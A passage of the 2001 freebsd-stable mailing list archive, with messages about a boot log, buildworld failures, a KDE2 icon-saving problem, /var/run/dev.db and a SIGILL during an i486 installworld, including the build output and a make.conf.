3a 3b 3c 3d 3e 3f 0c 00 0f 08 00 00 00 00 00 10 0e 00 ff EGA/VGA parameters to be used for mode 24 50 18 10 00 10 00 03 00 02 67 5f 4f 50 82 55 81 bf 1f 00 4f 0d 0e 00 00 00 00 9c 8e 8f 28 1f 96 b9 a3 ff 00 01 02 03 04 05 14 07 38 39 3a 3b 3c 3d 3e 3f 0c 00 0f 08 00 00 00 00 00 10 0e 00 ff sc0: at flags 0x100 on isa0 sc0: VGA <16 virtual consoles, flags=0x300> sc0: fb0, kbd0, terminal emulator: sc (syscons terminal) sio0: irq maps: 0x41 0x51 0x41 0x41 sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0 sio0: type 16550A sio1: irq maps: 0x41 0x49 0x41 0x41 sio1 at port 0x2f8-0x2ff irq 3 on isa0 sio1: type 16550A ppc0: parallel port found at 0x378 ppc0: using extended I/O port range ppc0: EPP SPP ppc0: at port 0x378-0x37f irq 7 on isa0 ppc0: Generic chipset (EPP/NIBBLE) in COMPATIBLE mode ppi0: on ppbus0 vpo0: can't connect to the drive imm0: (disconnect) s1=0x38 s2=0x38, s3=0x38 imm0: (connect) s1=0x38 s2=0x38, s3=0x38 imm0: (connect) s1=0x38 s2=0x38, s3=0x38 lpt0: on ppbus0 lpt0: Interrupt-driven port plip0: on ppbus0 bpf: lp0 attached isa_probe_children: probing PnP devices BIOS Geometries: 0:03ff0f3f 0..1023=1024 cylinders, 0..15=16 heads, 1..63=63 sectors 0 accounted for Device configuration finished. bpf: faith0 attached bpf: gif0 attached bpf: gif1 attached bpf: gif2 attached bpf: gif3 attached bpf: lo0 attached IPv6 packet filtering initialized, unlimited logging IP packet filtering initialized, divert enabled, rule-based forwarding enabled, default to deny, unlimited logging IPsec: Initialized Security Association Processing. Creating DISK ad0 Creating DISK wd0 ad0: ATA-5 disk at ata0-master ad0: 19077MB (39070080 sectors), 38760 cyls, 16 heads, 63 S/T, 512 B/S ad0: 16 secs/int, 1 depth queue, BIOSPIO ad0: piomode=4 dmamode=2 udmamode=4 cblid=1 ad0: 19077MB [38760/16/63] at ata0-master BIOSPIO Mounting root from ufs:/dev/ad0s1a ad0s1: type 0xa5, start 63, end = 39070079, size 39070017 : OK start_init: trying /sbin/init splash: image decoder found: snake_saver ------------------------------------------------------------------ For some reason the probe isn't seeing the dma mode (or even an advanced PIO mode)... I presume that "current" won't be different? -- Pete To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 15:44:46 2001 Delivered-To: freebsd-stable@freebsd.org Received: from winston.osd.bsdi.com (winston.osd.bsdi.com [204.216.27.229]) by hub.freebsd.org (Postfix) with ESMTP id 57C8937B718 for ; Sun, 11 Mar 2001 15:44:43 -0800 (PST) (envelope-from jkh@osd.bsdi.com) Received: from localhost (jkh@localhost [127.0.0.1]) by winston.osd.bsdi.com (8.11.2/8.11.1) with ESMTP id f2BNhPH71390; Sun, 11 Mar 2001 15:43:25 -0800 (PST) (envelope-from jkh@osd.bsdi.com) To: mi@aldan.algebra.com Cc: stable@FreeBSD.ORG Subject: Re: buildworld fails in Perl ("Your Makefile has been rebuilt.") In-Reply-To: <200103112126.f2BLQaR62202@aldan.algebra.com> References: <200103112126.f2BLQaR62202@aldan.algebra.com> X-Mailer: Mew version 1.94.1 on Emacs 20.7 / Mule 4.0 (HANANOEN) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: <20010311154325V.jkh@osd.bsdi.com> Date: Sun, 11 Mar 2001 15:43:25 -0800 From: Jordan Hubbard X-Dispatcher: imput version 20000228(IM140) Lines: 9 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Will this non-sense ever end? Well, for most of us, the nonsense has never started. :) Are you sure your sources are correct? I have no problems with buildworld in -stable and haven't for as long as I can remember. I'm also building on a wide variety of machines and if anybody would tend to see the problem you're seeing manifest itself, it would be me. - Jordan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 16:49:49 2001 Delivered-To: freebsd-stable@freebsd.org Received: from sudz.ns3g.com (cr618871-b.bloor1.on.wave.home.com [24.43.110.112]) by hub.freebsd.org (Postfix) with ESMTP id D500937B718; Sun, 11 Mar 2001 16:49:41 -0800 (PST) (envelope-from sudz@ns3g.com) Received: from cooler (cr618871-a.bloor1.on.wave.home.com [24.43.110.110]) by sudz.ns3g.com (8.11.2/8.11.2) with SMTP id f2C0oXM01908; Sun, 11 Mar 2001 19:50:34 -0500 (EST) (envelope-from sudz@ns3g.com) Reply-To: From: "Colin Legendre" To: , Subject: KDE2 Date: Sun, 11 Mar 2001 19:52:57 -0500 Message-ID: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_008C_01C0AA64.DEC926B0" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Importance: Normal Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_008C_01C0AA64.DEC926B0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit I am having an issue with KDE2 that I am wondering if anyone else has noticed. When I rearange the icons and the logout when I log back in the icons are back in the original locations. Everything else such as background and newly created icons are there and saved but there locations will not save. any help ! Colin Legendre CCNA, MCP sudz@ns3g.com ------=_NextPart_000_008C_01C0AA64.DEC926B0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
I am = having an issue=20 with KDE2 that I am wondering if anyone else has = noticed.
 
When I = rearange the=20 icons and the logout when  I log back in the icons are back in the = original=20 locations.  Everything else such as background and newly created = icons are=20 there and saved but there locations will not save.
 
 
any = help=20 !
 
 
 
Colin Legendre  CCNA, = MCP
sudz@ns3g.com
 
------=_NextPart_000_008C_01C0AA64.DEC926B0-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 17:10:39 2001 Delivered-To: freebsd-stable@freebsd.org Received: from guru.mired.org (okc-65-26-235-186.mmcable.com [65.26.235.186]) by hub.freebsd.org (Postfix) with SMTP id C6F4037B719 for ; Sun, 11 Mar 2001 17:10:36 -0800 (PST) (envelope-from mwm@mired.org) Received: (qmail 25632 invoked by uid 100); 12 Mar 2001 01:10:33 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15020.8713.452440.450747@guru.mired.org> Date: Sun, 11 Mar 2001 19:10:33 -0600 To: stable@freebsd.org Subject: /var/run/dev.db ? X-Mailer: VM 6.89 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I just upgraded to 4.3-BETA, and at boot got a warning about "/var/run/dev.db: No such file or directory" when I rebooted. It now exists, and is a berkeley db file. Could someone tell me what this file is, and what creates it? Thanx, ; Sun, 11 Mar 2001 17:26:10 -0800 (PST) (envelope-from bolt@xs4all.nl) Received: from holy.xs4all.nl (s340-modem1219.dial.xs4all.nl [194.109.164.195]) by smtp8.xs4all.nl (8.9.3/8.9.3) with SMTP id CAA20333; Mon, 12 Mar 2001 02:26:01 +0100 (CET) Received: (nullmailer pid 82248 invoked by uid 1000); Mon, 12 Mar 2001 01:26:29 -0000 Date: Mon, 12 Mar 2001 02:26:29 +0100 From: Sybolt de Boer To: Colin Legendre Cc: stable@freebsd.org Subject: Re: KDE2 Message-ID: <20010312022629.A82181@holy.xs4all.nl> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from sudz@ns3g.com on Sun, Mar 11, 2001 at 07:52:57PM -0500 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, On Sun, Mar 11, 2001 at 07:52:57PM -0500, Colin Legendre wrote: > I am having an issue with KDE2 that I am wondering if anyone else has > noticed. > > When I rearange the icons and the logout when I log back in the icons are > back in the original locations. Everything else such as background and > newly created icons are there and saved but there locations will not save. chmod -R u+w ~/Desktop might help. > any help ! > > > > Colin Legendre CCNA, MCP > sudz@ns3g.com Regards, Sybolt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 17:31:37 2001 Delivered-To: freebsd-stable@freebsd.org Received: from lerami.lerctr.org (lerami.lerctr.org [207.158.72.11]) by hub.freebsd.org (Postfix) with ESMTP id 9104337B719; Sun, 11 Mar 2001 17:31:31 -0800 (PST) (envelope-from ler@lerctr.org) Received: (from ler@localhost) by lerami.lerctr.org (8.11.3/8.11.3/20010112/$Revision: 1.13 $) id f2C1VQI06364; Sun, 11 Mar 2001 19:31:26 -0600 (CST) (envelope-from ler) Date: Sun, 11 Mar 2001 19:31:26 -0600 From: Larry Rosenman To: Kris Kennaway Cc: stable@FreeBSD.ORG, qa@FreeBSD.ORG Subject: Re: cputype=486 Message-ID: <20010311193126.A6166@lerami.lerctr.org> References: <20010311120241.A15202@lerami.lerctr.org> <20010311145945.C66872@mollari.cthul.hu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.16i In-Reply-To: <20010311145945.C66872@mollari.cthul.hu>; from kris@obsecurity.org on Sun, Mar 11, 2001 at 02:59:45PM -0800 X-Mailer: Mutt http://www.mutt.org/ Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG * Kris Kennaway [010311 17:00]: > On Sun, Mar 11, 2001 at 12:02:41PM -0600, Larry Rosenman wrote: > > If I make buildworld with CPUTYPE=i486 (on my P-III), and then > > make installworld on the 486 target, we get a signal 4 in > > the first install of code, in strip. > > Odd. That suggests that gcc is outputting code which can't run on the > i486 because it uses an illegal instruction. > > #define SIGILL 4 /* illegal instr. (not reset when caught) */ > > Does anyone else have 486 build reports with CPUTYPE, positive or negative? even without CPUTYPE I'm getting the same thing. This is problematical. I can give access to the box if need be. > > Kris -- Larry Rosenman http://www.lerctr.org/~ler Phone: +1 972-414-9812 E-Mail: ler@lerctr.org US Mail: 1905 Steamboat Springs Drive, Garland, TX 75044-6749 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 17:44:10 2001 Delivered-To: freebsd-stable@freebsd.org Received: from lerami.lerctr.org (lerami.lerctr.org [207.158.72.11]) by hub.freebsd.org (Postfix) with ESMTP id 8E9B437B718; Sun, 11 Mar 2001 17:43:39 -0800 (PST) (envelope-from ler@lerctr.org) Received: (from ler@localhost) by lerami.lerctr.org (8.11.3/8.11.3/20010112/$Revision: 1.13 $) id f2C1hZf07025; Sun, 11 Mar 2001 19:43:35 -0600 (CST) (envelope-from ler) Date: Sun, 11 Mar 2001 19:43:35 -0600 From: Larry Rosenman To: Kris Kennaway Cc: stable@FreeBSD.ORG, qa@FreeBSD.ORG Subject: Re: cputype=486 Message-ID: <20010311194335.A6632@lerami.lerctr.org> References: <20010311120241.A15202@lerami.lerctr.org> <20010311145945.C66872@mollari.cthul.hu> <20010311193126.A6166@lerami.lerctr.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable User-Agent: Mutt/1.3.16i In-Reply-To: <20010311193126.A6166@lerami.lerctr.org>; from ler@lerctr.org on Sun, Mar 11, 2001 at 07:31:26PM -0600 X-Mailer: Mutt http://www.mutt.org/ Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG * Larry Rosenman [010311 19:31]: > * Kris Kennaway [010311 17:00]: > > On Sun, Mar 11, 2001 at 12:02:41PM -0600, Larry Rosenman wrote: > > > If I make buildworld with CPUTYPE=3Di486 (on my P-III), and then=20 > > > make installworld on the 486 target, we get a signal 4 in > > > the first install of code, in strip.=20 > >=20 > > Odd. That suggests that gcc is outputting code which can't run on the > > i486 because it uses an illegal instruction. > >=20 > > #define SIGILL 4 /* illegal instr. (not reset when caugh= t) */ > >=20 > > Does anyone else have 486 build reports with CPUTYPE, positive or negat= ive? > even without CPUTYPE I'm getting the same thing.=20 >=20 >=20 > This is problematical.=20 >=20 > I can give access to the box if need be. here is the make installworld output, with the syslog line appended: mkdir -p /tmp/install.9703 for prog in [ awk cat chflags chmod chown date echo egrep find grep instal= l ln make makewhatis mtree mv perl rm sed sh sysctl test true uname wc zic= ; do cp `which $prog` /tmp/install.9703; done cd /usr/src; MAKEOBJDIRPREFIX=3D/usr/obj COMPILER_PATH=3D/usr/obj/usr/src/= i386/usr/libexec:/usr/obj/usr/src/i386/usr/bin LIBRARY_PATH=3D/usr/obj/usr= /src/i386/usr/lib:/usr/obj/usr/src/i386/usr/lib OBJFORMAT_PATH=3D/usr/obj/= usr/src/i386/usr/libexec PERL5LIB=3D/usr/obj/usr/src/i386/usr/libdata/perl= /5.00503 PATH=3D/usr/obj/usr/src/i386/usr/sbin:/usr/obj/usr/src/i386/usr/b= in:/usr/obj/usr/src/i386/usr/games:/tmp/install.9703 make -f Makefile.inc1 = reinstall -------------------------------------------------------------- >>> Making hierarchy -------------------------------------------------------------- cd /usr/src; make -f Makefile.inc1 hierarchy cd /usr/src/etc; make distrib-dirs mtree -deU -f /usr/src/etc/mtree/BSD.root.dist -p / tmp changed type expected dir found link var changed type expected dir found link mtree -deU -f /usr/src/etc/mtree/BSD.var.dist -p /var mtree -deU -f /usr/src/etc/mtree/BSD.usr.dist -p /usr mtree -deU -f /usr/src/etc/mtree/BSD.include.dist -p /usr/include mtree -deU -f /usr/src/etc/mtree/BSD.include.dist -p /usr/libdata/perl/5.0= 0503/mach cd /; rm -f /sys; ln -s usr/src/sys sys cd /usr/share/man/en.ISO_8859-1; ln -sf ../man* . cd /usr/share/locale; set - `cat /usr/src/etc/locale.alias`; while [ $# -= gt 0 ] ; do rm -rf "$1"; ln -s "$2" "$1"; shift; shift; done cd /usr/share/nls; set - `cat /usr/src/etc/locale.alias`; while [ $# -gt = 0 ] ; do rm -rf "$1"; ln -s "$2" "$1"; shift; shift; done; rm -rf POS= IX; ln -s C POSIX -------------------------------------------------------------- >>> Installing everything.. -------------------------------------------------------------- cd /usr/src; make -f Makefile.inc1 install =3D=3D=3D> share/info =3D=3D=3D> include if [ -h /usr/include/cam ]; then rm -f /usr/include/cam; fi if [ -h /usr/include/msdosfs ]; then rm -f /usr/include/msdosfs; fi if [ -h /usr/include/net ]; then rm -f /usr/include/net; fi if [ -h /usr/include/netatalk ]; then rm -f /usr/include/netatalk; fi if [ -h /usr/include/netatm ]; then rm -f /usr/include/netatm; fi if [ -h /usr/include/netgraph ]; then rm -f /usr/include/netgraph; fi if [ -h /usr/include/netinet ]; then rm -f /usr/include/netinet; fi if [ -h /usr/include/netinet6 ]; then rm -f /usr/include/netinet6; fi if [ -h /usr/include/netipx ]; then rm -f /usr/include/netipx; fi if [ -h /usr/include/netkey ]; then rm -f /usr/include/netkey; fi if [ -h /usr/include/netnatm ]; then rm -f /usr/include/netnatm; fi if [ -h /usr/include/netncp ]; then rm -f /usr/include/netncp; fi if [ -h /usr/include/netns ]; then rm -f /usr/include/netns; fi if [ -h /usr/include/nfs ]; then rm -f /usr/include/nfs; fi if [ -h /usr/include/ntfs ]; then rm -f /usr/include/ntfs; fi if [ -h /usr/include/nwfs ]; then rm -f /usr/include/nwfs; fi if [ -h /usr/include/pccard ]; then rm -f /usr/include/pccard; fi if [ -h /usr/include/posix4 ]; then rm -f /usr/include/posix4; fi if [ -h /usr/include/sys ]; then rm -f /usr/include/sys; fi if [ -h /usr/include/vm ]; then rm -f /usr/include/vm; fi if [ -h /usr/include/isofs/cd9660 ]; then rm -f /usr/include/isofs/cd9660;= fi if [ -h /usr/include/ufs/ffs ]; then rm -f /usr/include/ufs/ffs; fi if [ -h /usr/include/ufs/mfs ]; then rm -f /usr/include/ufs/mfs; fi if [ -h /usr/include/ufs/ufs ]; then rm -f /usr/include/ufs/ufs; fi if [ -h /usr/include/dev/ppbus ]; then rm -f /usr/include/dev/ppbus; fi if [ -h /usr/include/dev/usb ]; then rm -f /usr/include/dev/usb; fi if [ -h /usr/include/machine ]; then rm -f /usr/include/machine; fi mtree -deU -f /usr/src/include/../etc/mtree/BSD.include.dist -p /usr/inclu= de cd /usr/src/include/../sys; install -C -o root -g wheel -m 444 cam/*.h /u= sr/include/cam cd /usr/src/include/../sys; install -C -o root -g wheel -m 444 msdosfs/*.h= /usr/include/msdosfs cd /usr/src/include/../sys; install -C -o root -g wheel -m 444 net/*.h /u= sr/include/net cd /usr/src/include/../sys; install -C -o root -g wheel -m 444 netatalk/*.= h /usr/include/netatalk cd /usr/src/include/../sys; install -C -o root -g wheel -m 444 netatm/*.h = /usr/include/netatm cd /usr/src/include/../sys; install -C -o root -g wheel -m 444 netgraph/*.= h /usr/include/netgraph cd /usr/src/include/../sys; install -C -o root -g wheel -m 444 netinet/*.h= /usr/include/netinet cd /usr/src/include/../sys; install -C -o root -g wheel -m 444 netinet6/*.= h /usr/include/netinet6 cd /usr/src/include/../sys; install -C -o root -g wheel -m 444 netipx/*.h = /usr/include/netipx cd /usr/src/include/../sys; install -C -o root -g wheel -m 444 netkey/*.h = /usr/include/netkey cd /usr/src/include/../sys; install -C -o root -g wheel -m 444 netnatm/*.h= /usr/include/netnatm cd /usr/src/include/../sys; install -C -o root -g wheel -m 444 netncp/*.h = /usr/include/netncp cd /usr/src/include/../sys; install -C -o root -g wheel -m 444 netns/*.h = /usr/include/netns cd /usr/src/include/../sys; install -C -o root -g wheel -m 444 nfs/*.h /u= sr/include/nfs cd /usr/src/include/../sys; install -C -o root -g wheel -m 444 ntfs/*.h /= usr/include/ntfs cd /usr/src/include/../sys; install -C -o root -g wheel -m 444 nwfs/*.h /= usr/include/nwfs cd /usr/src/include/../sys; install -C -o root -g wheel -m 444 pccard/*.h = /usr/include/pccard cd /usr/src/include/../sys; install -C -o root -g wheel -m 444 posix4/*.h = /usr/include/posix4 cd /usr/src/include/../sys; install -C -o root -g wheel -m 444 sys/*.h /u= sr/include/sys cd /usr/src/include/../sys; install -C -o root -g wheel -m 444 vm/*.h /us= r/include/vm cd /usr/src/include/../sys; install -C -o root -g wheel -m 444 isofs/cd966= 0/*.h /usr/include/isofs/cd9660 cd /usr/src/include/../sys; install -C -o root -g wheel -m 444 ufs/ffs/*.h= /usr/include/ufs/ffs cd /usr/src/include/../sys; install -C -o root -g wheel -m 444 ufs/mfs/*.h= /usr/include/ufs/mfs cd /usr/src/include/../sys; install -C -o root -g wheel -m 444 ufs/ufs/*.h= /usr/include/ufs/ufs cd /usr/src/include/../sys; install -C -o root -g wheel -m 444 cam/scsi/*.= h /usr/include/cam/scsi cd /usr/src/include/../sys; install -C -o root -g wheel -m 444 dev/ppbus/*= .h /usr/include/dev/ppbus cd /usr/src/include/../sys; install -C -o root -g wheel -m 444 dev/usb/*.h= /usr/include/dev/usb cd /usr/src/include/../sys/i386/include; install -C -o root -g wheel -m 44= 4 *.h /usr/include/machine ln -sf ../sys/soundcard.h /usr/include/machine/soundcard.h ln -sf ../sys/joystick.h /usr/include/machine/joystick.h cd /usr/src/include; install -C -o root -g wheel -m 444 a.out.h ar.h asse= rt.h bitstring.h ctype.h db.h dirent.h disktab.h dlfcn.h elf.h err.h fnmat= ch.h fstab.h fts.h glob.h grp.h strhash.h histedit.h ieeefp.h ifaddrs.h is= o646.h libgen.h limits.h link.h locale.h malloc.h memory.h mpool.h ndbm.h= netdb.h nl_types.h nlist.h objformat.h paths.h pthread.h pthread_np.h pwd= .h ranlib.h regex.h regexp.h resolv.h rune.h runetype.h search.h setjmp.h= sgtty.h signal.h stab.h stddef.h stdio.h stdlib.h string.h stringlist.h = strings.h struct.h sysexits.h tar.h time.h timers.h ttyent.h unistd.h utim= e.h utmp.h vis.h /usr/include cd /usr/src/include/arpa; install -C -o root -g wheel -m 444 ftp.h inet.h= nameser.h nameser_compat.h telnet.h tftp.h /usr/include/arpa cd /usr/src/include/protocols; install -C -o root -g wheel -m 444 dumpres= tore.h routed.h rwhod.h talkd.h timed.h /usr/include/protocols cd /usr/src/include/rpc; install -C -o root -g wheel -m 444 auth.h auth_u= nix.h clnt.h pmap_clnt.h pmap_prot.h pmap_rmt.h rpc.h rpc_com.h rpc_msg.h = svc.h svc_auth.h types.h xdr.h auth_des.h des.h des_crypt.h /usr/include/r= pc install -C -o root -g wheel -m 444 /usr/obj/usr/src/include/osreldate.h /= usr/include ln -sf sys/aio.h /usr/include/aio.h ln -sf sys/errno.h /usr/include/errno.h ln -sf sys/fcntl.h /usr/include/fcntl.h ln -sf sys/inttypes.h /usr/include/inttypes.h ln -sf sys/linker_set.h /usr/include/linker_set.h ln -sf sys/poll.h /usr/include/poll.h ln -sf sys/syslog.h /usr/include/syslog.h ln -sf sys/termios.h /usr/include/termios.h ln -sf sys/ucontext.h /usr/include/ucontext.h ln -sf machine/float.h /usr/include/float.h ln -sf machine/floatingpoint.h /usr/include/floatingpoint.h ln -sf machine/stdarg.h /usr/include/stdarg.h ln -sf machine/varargs.h /usr/include/varargs.h ln -sf posix4/mqueue.h /usr/include/mqueue.h ln -sf posix4/sched.h /usr/include/sched.h ln -sf posix4/semaphore.h /usr/include/semaphore.h =3D=3D=3D> include/rpcsvc install -C -o root -g wheel -m 444 /usr/src/include/rpcsvc/yp_prot.h /usr/= src/include/rpcsvc/ypclnt.h /usr/src/include/rpcsvc/nis_db.h /usr/src/inclu= de/rpcsvc/nis_tags.h /usr/src/include/rpcsvc/nislib.h /usr/src/include/rpc= svc/bootparam_prot.x /usr/src/include/rpcsvc/key_prot.x /usr/src/include/rp= csvc/klm_prot.x /usr/src/include/rpcsvc/mount.x /usr/src/include/rpcsvc/nfs= _prot.x /usr/src/include/rpcsvc/nlm_prot.x /usr/src/include/rpcsvc/rex.x /u= sr/src/include/rpcsvc/rnusers.x /usr/src/include/rpcsvc/rquota.x /usr/src/i= nclude/rpcsvc/rstat.x /usr/src/include/rpcsvc/rwall.x /usr/src/include/rpcs= vc/sm_inter.x /usr/src/include/rpcsvc/spray.x /usr/src/include/rpcsvc/yppas= swd.x /usr/src/include/rpcsvc/yp.x /usr/src/include/rpcsvc/ypxfrd.x /usr/sr= c/include/rpcsvc/ypupdate_prot.x /usr/src/include/rpcsvc/nis.x /usr/src/inc= lude/rpcsvc/nis_cache.x /usr/src/include/rpcsvc/nis_object.x /usr/src/inclu= de/rpcsvc/nis_callback.x /usr/src/include/rpcsvc/crypt.x key_prot.h klm_pr= ot.h mount.h nfs_prot.h nlm_prot.h rex.h rnusers.h rquota.h rstat.h rwall.= h sm_inter.h spray.h yppasswd.h yp.h ypxfrd.h ypupdate_prot.h nis.h nis_ca= che.h nis_callback.h bootparam_prot.h crypt.h /usr/include/rpcsvc install -C -o root -g wheel -m 444 key_prot.h /usr/include/rpc =3D=3D=3D> lib =3D=3D=3D> lib/csu/i386-elf install -c -o root -g wheel -m 444 crt1.o /usr/lib/crt1.o install -c -o root -g wheel -m 444 crti.o /usr/lib/crti.o install -c -o root -g wheel -m 444 crtn.o /usr/lib/crtn.o install -c -o root -g wheel -m 444 gcrt1.o /usr/lib/gcrt1.o =3D=3D=3D> lib/libcom_err cd /usr/src/lib/libcom_err && install -C -o root -g wheel -m 444 /usr/src= /lib/libcom_err/../../contrib/com_err/com_err.h /usr/include cd /usr/src/lib/libcom_err && install -C -o root -g wheel -m 444 /usr/src= /lib/libcom_err/../../contrib/com_err/com_right.h /usr/include install -c -o root -g wheel -m 444 libcom_err.a /usr/lib install -c -o root -g wheel -m 444 libcom_err_p.a /usr/lib install -c -s -o root -g wheel -m 444 libcom_err.so.2 /usr/lib *** Error code 70 Stop in /usr/src/lib/libcom_err. *** Error code 1 Stop in /usr/src/lib. *** Error code 1 Stop in /usr/src. *** Error code 1 Stop in /usr/src. *** Error code 1 Stop in /usr/src. *** Error code 1 Stop in /usr/src. Mar 11 19:41:19 fw /kernel: pid 10074 (strip), uid 0: exited on signal 4 (c= ore dumped) Here is the make.conf: # $FreeBSD: src/etc/defaults/make.conf,v 1.97.2.21 2000/09/19 23:37:08 gsha= piro Exp $ # # This file, if present, will be read by make (see /usr/share/mk/sys.mk). # It allows you to override macro definitions to make without changing # your source tree, or anything the source tree installs. # # This file must be in valid Makefile syntax. # # You have to find the things you can put here in the Makefiles and=20 # documentation of the source tree. #CPUTYPE=3Di486 # # CFLAGS controls the compiler settings used when compiling C code. # Note that optimisation settings above -O (-O2, ...) are not recommended # or supported for compiling the world or the kernel - please revert any # nonstandard optimisation settings to "-O" before submitting bug reports # to the developers. # Note also that at this time the -O2 setting is known to produce BROKEN # CODE on the Alpha platform. # #CFLAGS=3D -O -pipe # # CXXFLAGS controls the compiler settings used when compiling C++ code. # Note that CXXFLAGS is initially set to the value of CFLAGS. If you wish # to add to CXXFLAGS value, "+=3D" must be used rather than "=3D". Using "= =3D" # alone will remove the often needed contents of CFLAGS from CXXFLAGS. # #CXXFLAGS+=3D -fmemoize-lookups -fsave-memoized # # BDECFLAGS are a set of gcc warning settings that Bruce Evans has suggested # for use in developing FreeBSD and testing changes. They can be used by # putting "CFLAGS+=3D${BDECFLAGS}" in /etc/make.conf. # BDECFLAGS=3D -W -Wall -ansi -pedantic -Wbad-function-cast -Wcast-align \ -Wcast-qual -Wchar-subscripts -Wconversion -Winline \ -Wmissing-prototypes -Wnested-externs -Wpointer-arith \ -Wredundant-decls -Wshadow -Wstrict-prototypes -Wwrite-strings # # To compile just the kernel with special optimisations, you should use # this instead of CFLAGS (which is not applicable to kernel builds anyway): # #COPTFLAGS=3D -O -pipe # # Compare before install #INSTALL=3Dinstall -C # # To build perl with thread support #PERL_THREADED=3D true # # To build ppp with normal permissions #PPP_NOSUID=3D true # # To avoid building various parts of the base system: #NO_CVS=3D true # do not build CVS #NO_BIND=3D true # do not build BIND #NO_FORTRAN=3D true # do not build g77 and related libraries #NO_LPR=3D true # do not build lpr and related programs #NO_MAILWRAPPER=3Dtrue # do not build the mailwrapper(8) MTA selector #NO_MODULES=3D true # do not build modules with the kernel #NO_OBJC=3D true # do not build Objective C support #NO_OPENSSH=3D true # do not build OpenSSH #NO_OPENSSL=3D true # do not build OpenSSL (implies NO_OPENSSH) #NO_SENDMAIL=3D true # do not build sendmail and related programs #NO_SHAREDOCS=3D true # do not build the 4.4BSD legacy docs #NO_TCSH=3D true # do not build and install /bin/csh (which is tcsh) #NO_X=3D true # do not compile in XWindows support (e.g. doscmd) #NOCRYPT=3D true # do not build any crypto code #NODESCRYPTLINKS=3Dtrue # do not replace libcrypt -> libscrypt links #NOGAMES=3D true # do not build games (games/ subdir) #NOINFO=3D true # do not make or install info files #NOLIBC_R=3D true # do not build libc_r (re-entrant version of libc) #NOPERL=3D true # To avoid building perl #NOPROFILE=3D true # Avoid compiling profiled libraries #NOSECURE=3D true # do not build crypto code in secure/ subdir #NOSUIDPERL=3D true # To avoid building the suid perl #NOSHARE=3D true # do not go into the share subdir #NOUUCP=3D true # do not build uucp related programs # # To build sys/modules when building the world (our old way of doing things) #MODULES_WITH_WORLD=3Dtrue # do not build modules when building kernel # # # Controls for building various OPTIONAL parts of the crypto system. # Patents are involved - you must not use these unless you either have # a license or would be within patent 'fair use' provisions. # Generally 'educational use' is OK, but personal (even non-commercial) # use is not. # *** It is YOUR RESPONSIBILITY to determine if you can use these! *** # # Patented in the USA and many european countries - thought to be OK to # use for any non-commercial use. This is optional. MAKE_IDEA=3D YES # IDEA (128 bit symmetric encryption) # # To avoid running MAKEDEV all on /dev during install: #NO_MAKEDEV=3D true # # If you do not want unformatted manual pages to be compressed # when they are installed: # #NOMANCOMPRESS=3D true # # # If you want the "compat" shared libraries installed as part of your normal # builds, uncomment these: # COMPAT1X=3D yes COMPAT20=3D yes COMPAT21=3D yes COMPAT22=3D yes COMPAT3X=3D yes # # # If you do not want additional documentation (some of which are # a few hundred KB's) for ports to be installed: # #NOPORTDOCS=3D true # # # Default format for system documentation, depends on your printer. # Set this to "ascii" for simple printers or screen # #PRINTERDEVICE=3D ps # # # How long to wait for a console keypress before booting the default kernel. # This value is approximately in milliseconds. Keypresses are accepted by t= he # BIOS before booting from disk, making it possible to give custom boot # parameters even when this is set to 0. # #BOOTWAIT=3D0 #BOOTWAIT=3D30000 # # By default, the system will always use the keyboard/video card as system # console. However, the boot blocks may be dynamically configured to use a # serial port in addition to or instead of the keyboard/video console. # # By default we use COM1 as our serial console port *if* we're going to use # a serial port as our console at all. Alter as necessary. # # COM1: =3D 0x3F8, COM2: =3D 0x2F8, COM3: =3D 0x3E8, COM4: =3D 0x2E8 # #BOOT_COMCONSOLE_PORT=3D 0x3F8 # # The default serial console speed is 9600. Set the speed to a larger value # for better interactive response. # #BOOT_COMCONSOLE_SPEED=3D 115200 # # # By default, this points to /usr/X11R6 for XFree86 releases 3.0 or earlier. # If you have a XFree86 from before 3.0 that has the X distribution in # /usr/X386, you want to uncomment this. # #X11BASE=3D /usr/X386 # # # If you have Motif on your system, uncomment this. # 